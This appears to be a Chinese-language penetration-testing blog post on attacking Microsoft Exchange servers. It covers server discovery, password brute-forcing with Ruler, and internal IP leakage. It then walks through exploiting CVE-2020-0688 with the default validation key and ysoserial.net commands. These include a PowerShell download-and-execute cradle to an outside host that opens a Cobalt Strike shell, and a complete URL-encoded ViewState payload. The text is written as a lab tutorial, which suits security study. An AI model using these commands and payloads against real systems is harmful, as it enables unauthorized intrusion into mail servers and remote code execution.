exchange基础渗透

  1. 定位exchange server
  2. 爆破
    1. Ruler
  3. 获取信息
  4. RCE
    1. CVE-2020-0688
  5. 参考

定位exchange server

1
setspn -Q IMAP/*

爆破

可直接抓包爆破,不过后续会有验证码验证,可尝试其他接口进行爆破嗷

1
2
3
4
5
6
7
8
9
10
/ecp
/ews
/oab
/owa
/rpc
/api
/mapi
/powershell
/autodiscover
/Microsoft-Server-ActiveSync

Ruler

爆破

1
2
3
ruler.exe --insecure --url https://exchange.hacke.testla
b/autodiscover/autodiscover.xml brute --users user.txt --passwords pass1.txt --v
erbose

导出邮箱

获取信息

将HTTP版本主机修改成1.0
去掉HOST头,可获取内网ip地址

使用nmap脚本获取主机信息

1
nmap IP -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll

RCE

CVE-2020-0688

漏洞影响如下:

1
2
3
4
5
6
7
Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

这个漏洞是2020年3月份出的漏洞,所以在这之前的小版本都没有

我这里安装的为 Exchange Server 2016 CU14 , 发布日期是在 2019 年 9 月 17 日

环境搭建链接

漏洞利用的前提是要获取一个Exchange的邮箱用户,我这里使用mail/Aa123456账号举例子

首先,可以使用平头哥的工具进行探测探测出存在漏洞

接下来需要构造我们反序列化的payload

1
2
3
4
5
6
7
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

除了viewstateuserkey这个值我们需要获取,其实其他的值基本上为默认的,无需改变

登陆我们域用户的邮箱,请求 /ecp/default.aspx

可以在我们请求中看到cookie值,我们需要cookie中的ASP.NET_SessionId值

接下来使用ysoserial.net构造反序列化内容:

1
2
3
4
5
6
7
8
9
10
11
#调用计算器
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="9a4c9f7e-88d1-4136-b987-a28a440090bd" --isdebug --islegacy

#写入文件
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo test > C:\1.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="9a4c9f7e-88d1-4136-b987-a28a440090bd" --isdebug --islegacy

#判断出网
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxx.dnslog.io" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="9a4c9f7e-88d1-4136-b987-a28a440090bd" --isdebug --islegacy

#反弹CS
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="9a4c9f7e-88d1-4136-b987-a28a440090bd" --isdebug --islegacy

将生成的反序列化内容进行url编码,最终构造出的url如下:

1
/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2fwEylAcAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC2BTw%2feG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8%2bDQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2bDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2bDQo8L09iamVjdERhdGFQcm92aWRlcj4LiS1M1wqJue%2b7G01o9Xv39is4dIc%3d

访问url,报错500,其实成功

登陆Exchange邮服,成功调用calc.exe

参考

https://www.freebuf.com/vuls/228735.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:exchange基础渗透

本文作者:sher10ck

发布时间:2021-01-04, 10:15:08

最后更新:2021-01-11, 14:04:25

原始链接:http://sherlocz.github.io/2021/01/04/exchange-pentent/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录